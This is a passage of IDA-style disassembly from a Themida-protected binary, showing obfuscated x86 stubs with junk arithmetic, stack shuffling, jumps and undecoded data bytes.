		mov	esp, [esp]
		jmp	loc_51855A
; ---------------------------------------------------------------------------

loc_5207E7:				; CODE XREF: Themida_:0050FDEDj
		mov	esp, [esp]
		mov	[esp], eax
		xchg	ebx, [esp]
		push	35C8h
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	2807h
		jmp	loc_511B87
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 0E9000000h, 0FFFF4AA3h
; ---------------------------------------------------------------------------

loc_520828:				; CODE XREF: Themida_:00517135j
		push	6920h
		mov	[esp], edx
		mov	edx, 54E209EEh
		dec	edx
		sub	edx, 0FFFFFFFFh
		sub	edx, 26224421h
		jmp	loc_512105
; ---------------------------------------------------------------------------
		db 66h
		dd 5766C329h, 0B50BF66h, 0E9FB2966h, 0FFFF52E4h, 4BBh
		dd 5BD90100h, 8B240C87h, 0C7812424h, 4,	4C781h,	0D9E90000h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520877:				; CODE XREF: Themida_:0051DEEBj
		dec	esi
		xchg	eax, esi
		jmp	loc_51B945
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 6F79F295h, 15DE929h,	0F91FE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52088E:				; CODE XREF: Themida_:0051479Cj
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		jmp	loc_50F75E
; ---------------------------------------------------------------------------
		db 0B9h, 8Ch, 57h
		dd 0E9C16139h, 41E1D107h, 0FF6946E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5208AD:				; CODE XREF: Themida_:00524751j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	545Eh
		mov	[esp], esi
		push	31C1h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_52231C
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 4C5815Dh,	83000000h, 336804C5h, 0E9000049h, 0FFFF28CCh
		dd 4C7815Fh, 52000000h,	4BAh, 0A64E900h, 762CFFFFh, 7604F000h
		dd 252C932Ch, 0AD01E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520926:				; CODE XREF: Themida_:005131F0j
		pop	edx
		shl	ebx, 2
		not	ebx
		jmp	loc_523A75
; ---------------------------------------------------------------------------
		db 1, 0C1h, 50h
		dd 263ABDB8h, 58C10124h, 0FF0278E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_520941:				; CODE XREF: Themida_:00519FB0j
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_51107B
; ---------------------------------------------------------------------------
		db 0B9h, 7Ah, 2Fh
		dd 0E9C1701Dh, 2CBA5203h, 0E99B9F52h, 0FFFFD2A4h
; ---------------------------------------------------------------------------

loc_520960:				; CODE XREF: Themida_:00522629j
		add	esp, 4
		xor	ebp, 0B3C0AC4h
		sub	ebp, 471F2DE5h
		mov	eax, ebp
		jmp	loc_515717
; ---------------------------------------------------------------------------

loc_520976:				; CODE XREF: Themida_:00513C9Ej
		add	esi, eax
		pop	eax
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_510C14
; ---------------------------------------------------------------------------
		dd 0B2241489h, 0FFEA8085h, 8094B353h, 0C3FEFFEBh, 0FF92F0E9h
		dd 3B6852FFh, 8900006Dh, 69E92424h, 56FFFF1Eh, 4BEh, 394DE900h
		dd 48B0000h, 4EC8124h, 0E9000000h, 0FFFF57FEh, 5E30E981h
		dd 0E981537Ch, 59EC2E01h, 83242C8Bh, 0C18304C4h, 605E904h
		dd 8B540000h, 0C481240Ch, 4, 1B6CBE56h,	0F68166DCh, 29954E7Dh
		dd 7E83B951h, 0C1816869h, 0AF829BC7h, 9659CE29h, 0EC81D8F7h
		dd 4, 50243489h, 24048B5Eh, 0E904C483h,	14A6h
; ---------------------------------------------------------------------------

loc_520A18:				; CODE XREF: Themida_:005111A1j
		xor	[edx], ebx
		pop	ebx
		pop	edx

loc_520A1C:				; CODE XREF: Themida_:00511C79j
					; Themida_:0051523Aj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	7594h
		mov	[esp], ebx
		jmp	loc_5152C1
; ---------------------------------------------------------------------------

loc_520A35:				; CODE XREF: Themida_:00520144j
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, 21B818E7h
		add	ecx, edx
		push	edx
		push	eax
		mov	eax, 75596AADh
		add	eax, 0AC5EAE3Ah
		push	eax
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_517C17
; ---------------------------------------------------------------------------

loc_520A65:				; CODE XREF: Themida_:00513B2Dj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_515D1A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 0FFEC45E9h, 6ECB81FFh, 0E90DE62Eh, 0FFFF8551h
		dd 5C241C87h, 0EB80D328h, 32685AD4h, 0E900002Fh, 0FFFF1A8Dh
; ---------------------------------------------------------------------------

loc_520A9C:				; CODE XREF: Themida_:0051DB27j
		mov	ebp, 0AE4F9F1Dh
		add	edi, ebp
		pop	ebp
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	ebx
		jmp	loc_51B9CB
; ---------------------------------------------------------------------------
aSu3		db ']éž3',0
		db 0
; ---------------------------------------------------------------------------

loc_520ABB:				; CODE XREF: Themida_:0050FF20j
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_519CC8
; ---------------------------------------------------------------------------
		db 68h,	9Eh, 3
		dd 24890000h, 2EA96824h, 1C890000h, 6EE95224h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520AE3:				; CODE XREF: Themida_:0051A856j
		push	ebp
		mov	ebp, 343356DAh
		add	eax, ebp
		pop	ebp
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_522BB9
; ---------------------------------------------------------------------------
		db 21h
		dd 0C00B5BD8h, 0A11840Fh, 6A68FFFFh, 89000076h,	0FF542434h
		dd 0E95E2434h, 0FFFF1052h, 4C681h, 0EE830000h, 24348704h
		dd 3BCAE9h, 26476800h, 2AE90000h, 81FFFEF0h, 4C5h, 4B85000h
		dd 81000000h, 563CD1EDh, 3ED8177h, 29288400h, 3C581C5h
		dd 81288400h, 563CD1C5h, 2C875877h, 2C895C24h, 8B80E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520B66:				; CODE XREF: Themida_:00510C3Ej
		push	edx
		jmp	loc_518BA5
; ---------------------------------------------------------------------------

loc_520B6C:				; CODE XREF: Themida_:0052322Aj
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 0E9000000h, 0FFFFAE65h, 66D830ACh, 666EDA68h, 0E9241489h
		dd 0FFFFD4FDh, 3D40E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520B92:				; CODE XREF: Themida_:0051B2FAj
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_510EE2
; ---------------------------------------------------------------------------
		dd 4BE56h, 0F2010000h, 0FF33F8E9h, 0FB015AFFh, 6AD0B951h
		dd 0C1817539h, 2AE1111Ah, 0F181D1F7h, 56CF7B31h, 0C181D1F7h
		dd 10493756h, 6C69E952h, 0B951FFFFh, 71C771F7h,	0FF5B36E9h
		dd 4ACA80FFh, 0FF137DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_520BE9:				; CODE XREF: Themida_:0051C2A2j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_519F67
; ---------------------------------------------------------------------------
		dw 8966h
		dd 24048BC2h, 4C481h, 0F2E90000h, 5BFFFF69h, 0B850F201h
		dd 49573C66h, 48BC229h,	4C48324h, 7BBF5755h, 0F71CE313h
		dd 66E781D7h, 505A8B6Fh, 29A9E9h, 2C78100h, 87000000h
		dd 248B243Ch, 0B296E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520C3A:				; CODE XREF: Themida_:0051FB81j
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_523DD8
; ---------------------------------------------------------------------------

loc_520C57:				; CODE XREF: Themida_:005163B4j
		not	edx
		sub	edx, 473F1E23h
		inc	edx
		push	ecx
		jmp	loc_51FA69
; ---------------------------------------------------------------------------
		dw 42Dh
		dd 87000000h, 72E92404h, 5DFFFFD9h, 1D75F32Dh, 5C80121h
		dd 211D75F3h, 55240C8Bh, 0FFD4FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_520C89:				; CODE XREF: Themida_:005150B9j
		neg	ch
		add	ch, 0FDh
		jmp	loc_513653
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 4F0CBA24h, 0E2C112B6h, 0EB36E907h, 8F54FFFEh
		dd 0E9552404h, 0FFFEF69Eh
; ---------------------------------------------------------------------------

loc_520CB0:				; CODE XREF: Themida_:00517555j
		push	246h
		jmp	loc_5118D9
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF46F1h, 7BCEE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520CC6:				; CODE XREF: Themida_:005191D9j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_515CC1
; ---------------------------------------------------------------------------

loc_520CD5:				; CODE XREF: Themida_:0051AAE2j
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	60FDh
		mov	[esp], esi
		jmp	loc_51BDC5
; ---------------------------------------------------------------------------

loc_520CF0:				; CODE XREF: Themida_:00517C8Bj
		push	edi
		jmp	loc_524098
; ---------------------------------------------------------------------------

loc_520CF6:				; CODE XREF: Themida_:00521AA0j
		push	76DFh
		jmp	loc_512FF9
; ---------------------------------------------------------------------------

loc_520D00:				; CODE XREF: Themida_:0050F800j
		neg	edx
		jmp	loc_517C85
; ---------------------------------------------------------------------------
		db 97h
		dd 0FFEF8147h, 0C1FFFFFFh, 0B95106E7h, 6B51135Eh, 1C18341h
		dd 4074E181h, 0E9810E49h, 0FDC3945Bh, 8959CF01h, 0BD555FF8h
		dd 7587F83h, 0FF2DADE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_520D39:				; CODE XREF: Themida_:00524519j
		mov	eax, 2
		add	edx, eax
		jmp	loc_5227DD
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0FEE90000h, 89FFFEF0h, 2C872414h, 31D5F724h
		dd 2C33242Ch, 934EE924h, 48FFFFFh, 3C875C24h, 24248B24h
		dd 9C240421h, 0FEE993E9h, 0F6664FFh, 0EC8102B6h, 4, 54240489h
		dd 582434FFh, 81E28952h, 4C2h, 1EE95300h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520D9B:				; CODE XREF: Themida_:0051A4B1j
		pop	ebp
		sub	eax, 31896CA9h
		add	eax, edx
		add	eax, 31896CA9h
		sub	eax, 45D616CBh
		add	eax, 3CC930D6h
		pop	edx
		or	eax, eax
		jnz	loc_51E69D
		push	ebp
		push	471522D6h
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5239D0
; ---------------------------------------------------------------------------
		db 53h
		dd 0C3815B54h, 4, 4C381h, 0A5E90000h, 81FFFFFCh, 4ECh
		dd 240C8900h, 0B53EB252h, 0E9D500EFh, 0FFFF6A31h
; ---------------------------------------------------------------------------

loc_520DF8:				; CODE XREF: Themida_:00521B6Bj
		or	eax, edx
		jmp	loc_52303D
; ---------------------------------------------------------------------------

loc_520DFF:				; CODE XREF: Themida_:00515E6Dj
		mov	edi, 4
		add	eax, edi
		jmp	loc_51447F
; ---------------------------------------------------------------------------
		db 83h
		dd 0C58104C4h, 33737F71h, 18FFE9h, 0ADE95B00h, 8FFFFF1Fh
		dd 0E95C2404h, 611h
; ---------------------------------------------------------------------------

loc_520E28:				; CODE XREF: Themida_:00524E99j
		mov	ebp, 74440618h
		sub	ebp, 4804560Ch
		or	ebp, 376616E5h
		jmp	loc_516462
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0EE3CE924h, 0E901FFFFh, 0FF433FE9h, 0F7E958FFh, 0B5FFFF47h
		dd 2EF580D4h, 0E959EC88h, 0FFFFA227h, 0C281E289h, 4, 4EA81h
		dd 14870000h, 24895C24h, 0A1BDE924h, 0E981FFFFh, 108E58E7h
		dd 2DC2E9h, 4C48300h, 0F924C181h, 0CB89C868h, 0F7EB8759h
		dd 81EB87D5h, 0FB58FBF3h, 6EBC15Ch, 0FF92D2E9h,	0E9E089FFh
		dd 0FFFF9C17h
; ---------------------------------------------------------------------------

loc_520EAC:				; CODE XREF: Themida_:00518B1Cj
		mov	[esp], edx
		jmp	loc_524307
; ---------------------------------------------------------------------------
		dd 5D20E9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_520EBA:				; CODE XREF: Themida_:0051F771j
		mov	eax, [esp]
		push	ebx
		jmp	loc_52347C
; ---------------------------------------------------------------------------

loc_520EC3:				; CODE XREF: Themida_:005239CBj
		pop	esi
		push	ecx
		mov	ecx, 648E375Ah
		shr	ecx, 3
		and	ecx, 47BF7AABh
		sub	ecx, 0AD73CBC3h
		or	esi, ecx
		pop	ecx
		add	esi, 6B7213D8h
		push	ebp
		mov	ebp, 413D4DABh
		not	ebp
		shl	ebp, 8
		sub	ebp, 6B8C2017h
		add	ebp, 0E56A4156h
		add	esi, ebp
		pop	ebp
		jmp	loc_516139
; ---------------------------------------------------------------------------
		db 68h,	9Eh, 4
		dd 0E95F6EEEh, 0FFFF2BEEh, 7DA0E9ADh, 0E1C1FFFFh, 0CFF18104h
		dd 8113F85Bh, 3F4850E9h, 59C801FDh, 0E955D801h,	3DE2h
; ---------------------------------------------------------------------------

loc_520F2C:				; CODE XREF: Themida_:00510447j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 1B582B8Ch
		push	ebx
		push	10B3657Bh
		pop	ebx
		add	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 3F1B3DDAh
		shr	ecx, 5
		and	ecx, 17922F2Bh
		neg	ecx
		push	ebx
		jmp	loc_51593F
; ---------------------------------------------------------------------------
		dw 875Eh
		dd 0CFE9242Ch, 80FFFEE9h, 0EF3053EDh, 0FFB16EE9h, 59CB31FFh
		dd 30E1EA81h, 0DA012131h, 30E1C281h, 1C8B2131h,	5B5D6824h
		dd 2C890000h, 3A98E924h, 0C310000h, 240C3324h, 8124248Bh
		dd 2ECh, 34896600h, 0A2BE6624h,	0F056617h, 0A2ECE92Fh
		dd 5C29FFFFh, 0E9530824h, 0FFFF4A36h
; ---------------------------------------------------------------------------

loc_520FC4:				; CODE XREF: Themida_:0051BECBj
		mov	bl, 71h
		push	edx
		mov	dh, 93h
		mov	ch, dh
		pop	edx
		sub	ch, 0D3h
		add	ch, 17h
		sub	ch, bl
		sub	ch, 17h
		add	ch, 0D3h
		jmp	loc_5150B5
; ---------------------------------------------------------------------------
		db 33h
		dd 68E9240Ch, 80FFFF58h, 0CA8070E2h, 7CEA8051h,	525AD788h
		dd 0F000CFB6h, 0FFE7CCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_520FFD:				; CODE XREF: Themida_:0051C317j
		pop	esp
		add	eax, ebp
		sub	eax, 62373B6Bh
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_517582
; ---------------------------------------------------------------------------
		db 59h,	68h, 0
		dd 29000000h, 3C8B243Ch, 4C48124h, 0E9000000h, 0FFFFDEF1h
		dd 176B6852h, 24E95355h, 500003Fh, 70A04314h, 4B4CD105h
		dd 0E8D9E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52104A:				; CODE XREF: Themida_:00512597j
		add	esi, ebx
		jmp	loc_5248F2
; ---------------------------------------------------------------------------

loc_521051:				; CODE XREF: Themida_:00512FA3j
		sub	ecx, 0F58741Fh
		add	ecx, 4963725h
		sub	ecx, edx
		sub	ecx, 4963725h
		jmp	loc_52402C
; ---------------------------------------------------------------------------

loc_52106A:				; CODE XREF: Themida_:0051E151j
		sub	edi, 6A1152B7h
		jmp	loc_51ABF2
; ---------------------------------------------------------------------------

loc_521075:				; CODE XREF: Themida_:0052331Bj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	49Ch
		mov	[esp], edx
		mov	edx, 65F86164h
		jmp	loc_5163B2
; ---------------------------------------------------------------------------
		db 30h
		dd 0D8305AF3h, 5E68665Bh, 9AE6E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52109E:				; CODE XREF: Themida_:005128E0j
		or	ebx, 1F1B3A10h
		or	ebx, 0F472EBAh
		xor	ebx, 4DF95066h
		jmp	loc_518227
; ---------------------------------------------------------------------------

loc_5210B5:				; CODE XREF: Themida_:0051A67Aj
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_52313F
; ---------------------------------------------------------------------------
		dw 8758h
		dd 5FE92414h, 0FFFFFF50h, 7FE92434h, 0C100003Ch, 0EA8106E2h
		dd 710C0255h, 0BC6CA81h, 0EA8131B9h, 0B1FF8BEBh, 7E9AC581h
		dd 0ED816300h, 5C041CC9h, 0EC81D501h, 4, 0BE243489h, 27555103h
		dd 58F68146h, 0E97AB972h, 0FFFF3A94h
; ---------------------------------------------------------------------------

loc_521110:				; CODE XREF: Themida_:00519F6Aj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_510032
; ---------------------------------------------------------------------------

loc_521121:				; CODE XREF: Themida_:00516E7Bj
		push	276717F8h
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 19FFF6CDh
		jmp	loc_517CE4
; ---------------------------------------------------------------------------
		dw 0DF29h
		dd 0FFADBEE9h, 0BE5657FFh, 667239B1h, 348BF789h, 4C48124h
		dd 0BD000000h, 12196049h, 0FEF084E9h, 2414F7FFh, 52D6F75Eh
		dd 0F578F5BAh, 5AD62158h, 6805E6C1h, 1AD3h, 0E9241C89h
		dd 0FFFFF3BBh
; ---------------------------------------------------------------------------

loc_52117C:				; CODE XREF: Themida_:00510310j
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		jmp	loc_517051
; ---------------------------------------------------------------------------

loc_521190:				; CODE XREF: Themida_:00523D77j
		pop	esp
		jmp	loc_51457B
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 440E3390h, 0D1BCE81h, 0C6810D2Fh, 0F8E50176h, 8E9F029h
		dd 1FFFFE9h, 72C381C3h,	68239457h, 3123h, 0FF6F03E9h, 0C0E959FFh
		dd 55FFFFD5h, 83241C8Bh, 15D04C4h, 51535BDEh, 0D92D8968h
		dd 240C8B3Fh, 0FFFCA4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5211E1:				; CODE XREF: Themida_:0051AD99j
		push	0EDAh
		jmp	loc_5133FC
; ---------------------------------------------------------------------------

loc_5211EB:				; CODE XREF: Themida_:00511899j
		add	bl, ah
		pop	eax
		sub	bl, 8Ah
		add	bl, 5Ah
		add	bl, al
		push	5B13h
		mov	[esp], ecx
		jmp	loc_5121C0
; ---------------------------------------------------------------------------

loc_521203:				; CODE XREF: Themida_:0051C030j
		pop	esp
		mov	[esp], eax
		jmp	loc_51FABD
; ---------------------------------------------------------------------------

loc_52120C:				; CODE XREF: Themida_:00520618j
		add	esi, edx
		pop	edx
		jmp	loc_51CA3A
; ---------------------------------------------------------------------------

loc_521214:				; CODE XREF: Themida_:005185D8j
		add	esp, 4
		shr	ebx, 8
		dec	ebx
		xor	ebx, 40805h
		add	edi, 205344F1h
		add	edi, 6CA26BA0h
		sub	edi, 11612F6h
		jmp	loc_517D3B
; ---------------------------------------------------------------------------

loc_52123B:				; CODE XREF: Themida_:005127ADj
		mov	edx, 5F6022D6h
		add	ecx, edx
		pop	edx
		jmp	loc_522595
; ---------------------------------------------------------------------------

loc_521248:				; CODE XREF: Themida_:0051DC97j
		add	ebp, esi
		push	ecx
		mov	ecx, 5DA40B33h
		add	ebp, ecx
		pop	ecx
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_514308
; ---------------------------------------------------------------------------
		db 5Bh,	8Fh, 4
		dd 24248B24h, 49E9F1F7h, 0BEFFFF32h, 129B4725h,	0FEF986E9h
		dd 243489FFh, 68E7BE56h, 0B3E9733Ch, 8BFFFF80h,	0C483240Ch
		dd 59EE8004h, 148BF028h, 4C48124h, 2C000000h, 0B652661Bh
		dd 1D7FE926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5212A6:				; CODE XREF: Themida_:00518FADj
		pop	edx
		add	bl, dh
		push	eax
		mov	ah, 84h
		jmp	loc_51BEB2
; ---------------------------------------------------------------------------
		db 31h,	0CDh, 59h
		dd 52EA8952h, 37240481h, 59186244h, 0FF2E70E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5212C5:				; CODE XREF: Themida_:0051C11Ej
		add	ebx, 15503EB4h
		add	ebx, eax
		sub	ebx, 15503EB4h
		jmp	loc_518C7F
; ---------------------------------------------------------------------------
		dd 5766AD66h, 74FDBF66h, 66F80166h, 6656665Fh, 34F9E957h
		dd 0AB40000h, 28E928B5h, 0C1FFFF35h, 0C18102E9h, 98EE6D5h
		dd 0FFFFACE9h, 0D9E955FFh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52130B:				; CODE XREF: Themida_:00519355j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_51BF60
; ---------------------------------------------------------------------------
		db 0F7h
		dd 3E5C1D5h, 0BA525657h, 2D180B24h, 81424A42h, 0A5FCA7EAh
		dd 5AD689CDh, 54DDC681h, 0F789F46Bh, 82C5815Eh,	1443D1Dh
		dd 82ED81FDh, 5F443D1Dh, 28E6E9h, 2C38300h, 0FF9BBDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_521355:				; CODE XREF: Themida_:0051DDD0j
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 2
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 79F905D5h
		sub	dword ptr [esp+4], 459C0ADDh
		add	[esp+4], esi
		add	dword ptr [esp+4], 459C0ADDh
		push	dword ptr [esp]
		jmp	loc_51C5A0
; ---------------------------------------------------------------------------
		db 5Dh
		dd 54BEC381h, 0C3815C1Bh, 51CE487Eh, 1BE9F301h,	68000001h
		dd 23A6h, 0BF243C89h, 3EE0727Bh, 68FE8956h, 1BAh, 0FFFEB8E9h
		dd 6DF480FFh, 9E9CCFEh,	64FFFEE9h, 0EEE9028Fh
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5213D3:				; CODE XREF: Themida_:0050FC70j
		xor	eax, 6E105263h
		xor	eax, 0DBFEFDA8h
		jmp	loc_518B21
; ---------------------------------------------------------------------------

loc_5213E2:				; CODE XREF: Themida_:0051540Bj
		mov	edx, 25B6538Dh
		jmp	loc_51D38A
; ---------------------------------------------------------------------------

loc_5213EC:				; CODE XREF: Themida_:0051639Cj
		mov	[esp], edx
		mov	edx, 5B02A15h
		neg	edx
		push	420h
		mov	[esp], edi
		mov	edi, 59C37C60h
		or	edi, 724A68CBh
		push	ebp
		mov	ebp, 26C4575h
		sub	ebp, 5E3328FDh
		push	ebp
		jmp	loc_523AE9
; ---------------------------------------------------------------------------

loc_52141B:				; CODE XREF: Themida_:0051EBE7j
		add	ebx, 4
		jmp	loc_51F9FF
; ---------------------------------------------------------------------------
		dw 0C80Fh
		dd 0E8068h, 241C8900h, 241C8B54h, 0FEEC02E9h, 0C1D2F7FFh
		dd 0C28103EAh, 10D7DD8Ch, 515AD031h, 26E95450h
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52144F:				; CODE XREF: Themida_:0051B5FFj
		sub	dword ptr [esp], 517823A7h
		pop	edx
		add	edx, 517823A7h
		jmp	loc_51C747
; ---------------------------------------------------------------------------
		dw 0D389h
		dd 0FF7939E9h, 0EB814BFFh, 1BC794D1h, 335BDA01h, 14312414h
		dd 389BE924h, 0E3890000h, 4B850h, 0C3010000h, 4EB8158h
		dd 87000000h, 248B241Ch, 243C8924h, 0B951E789h,	19D54982h
		dd 5508E9C1h, 3D7E9h, 5CBA5200h, 2932E54Ah, 0BD555AD6h
		dd 5FA745EFh, 15DEB01h,	2220E9F3h, 0EB81FFFFh, 51CE487Eh
		dd 54BEEB81h, 57525C1Bh, 7475E7BFh, 8F99E960h, 4481FFFFh
		dd 6FAE0424h, 15A5934h,	0E9532404h, 0FFFF90BFh,	0E952E189h
		dd 0FFFF2D80h
; ---------------------------------------------------------------------------

loc_5214F4:				; CODE XREF: Themida_:00519295j
		sub	eax, 52182374h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_51A501
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1BE92414h, 100002Ah,	9D2D5EF0h, 2D0FBF63h, 0A1D3FDDh
		dd 2261E9h, 24248B00h, 24048B66h, 4EC81h, 0C890000h, 77A1E924h
		dd 0E068FFFFh, 8900002Ah, 74FF240Ch, 34FF0424h,	0EC835924h
		dd 240C8904h, 0BAE9E189h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_521553:				; CODE XREF: Themida_:00513592j
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		mov	eax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_51F2BF
; ---------------------------------------------------------------------------

loc_52156D:				; CODE XREF: Themida_:00516A45j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_522176
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C5F68h, 242C8900h, 0C581E589h, 4, 0F02BE956h
		dd 8ABBFFFEh, 89589345h, 92B9E9DFh, 8158FFFFh, 4C4h, 6E9E900h
		dd 3B68FFFFh, 593F6969h, 5DE4F181h, 0CB89331Dh,	8BD98959h
		dd 0C483241Ch, 0FF25E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5215CA:				; CODE XREF: Themida_:0051B86Fj
		pop	ebx
		sub	edx, 4E3C59EFh
		add	edx, esi
		push	eax
		mov	eax, 4E3C59EFh
		jmp	loc_50FF0F
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4BA24h, 0D0010000h, 5724148Bh, 0FEFBFFE9h, 2434FFFFh
		dd 81242C8Bh, 4C4h, 0EF74E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_521602:				; CODE XREF: Themida_:00512634j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5124CA
; ---------------------------------------------------------------------------
		dw 575Fh
		dd 0E951E789h, 0FFFF8AE4h
; ---------------------------------------------------------------------------

loc_521620:				; CODE XREF: Themida_:005101DCj
		neg	edx
		jmp	loc_515C48
; ---------------------------------------------------------------------------
		db 4
		dd 0E9D8002Eh, 1E44h, 1A88C381h, 0C3814312h, 0D86E9726h
		dd 575BDD89h, 221CBB53h, 42E92B54h, 55FFFF03h, 25A4BA52h
		dd 0C28157D8h, 0FDF04B09h, 0E95A5D52h, 0FFFEF42Ch, 2424895Ch
		dd 0FEFE07E9h, 4B951FFh, 8739A73Ah, 0D9874BD9h,	175E9h
		db 0
; ---------------------------------------------------------------------------

loc_521679:				; CODE XREF: Themida_:0051EBC8j
		push	7188h
		mov	[esp], edx
		mov	edx, 160370FAh
		xor	edx, 4B2D7C27h
		and	edx, 602B2BE2h
		add	edx, 7A93431Ah
		jmp	loc_513E74
; ---------------------------------------------------------------------------

loc_52169D:				; CODE XREF: Themida_:0051A0C6j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_51AB35
; ---------------------------------------------------------------------------
		dd 83F1815Bh, 155A03Dh,	18E959C8h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5216B7:				; CODE XREF: Themida_:0051967Ej
		add	edi, 36E51C1Ch
		inc	edi
		add	edi, 2286D272h
		sub	ebx, edi
		pop	edi
		push	edx
		mov	edx, 7BFD6C16h
		add	edx, 0F7E3DA89h
		add	esi, edx
		pop	edx
		add	esi, ebx
		push	edx
		jmp	loc_50FB53
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0FB12CF38h, 0E959CA09h, 0FFFF6B4Ch
; ---------------------------------------------------------------------------

loc_5216EC:				; CODE XREF: Themida_:00511576j
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_511435
; ---------------------------------------------------------------------------
		dw 81BAh
		dd 0B850F64Bh, 0D42D2013h, 55AD001h, 1B1F41FAh,	0BD527605h
		dd 0CBB53BFh, 2971D617h, 0C7015BDFh, 170CC781h,	875871D6h
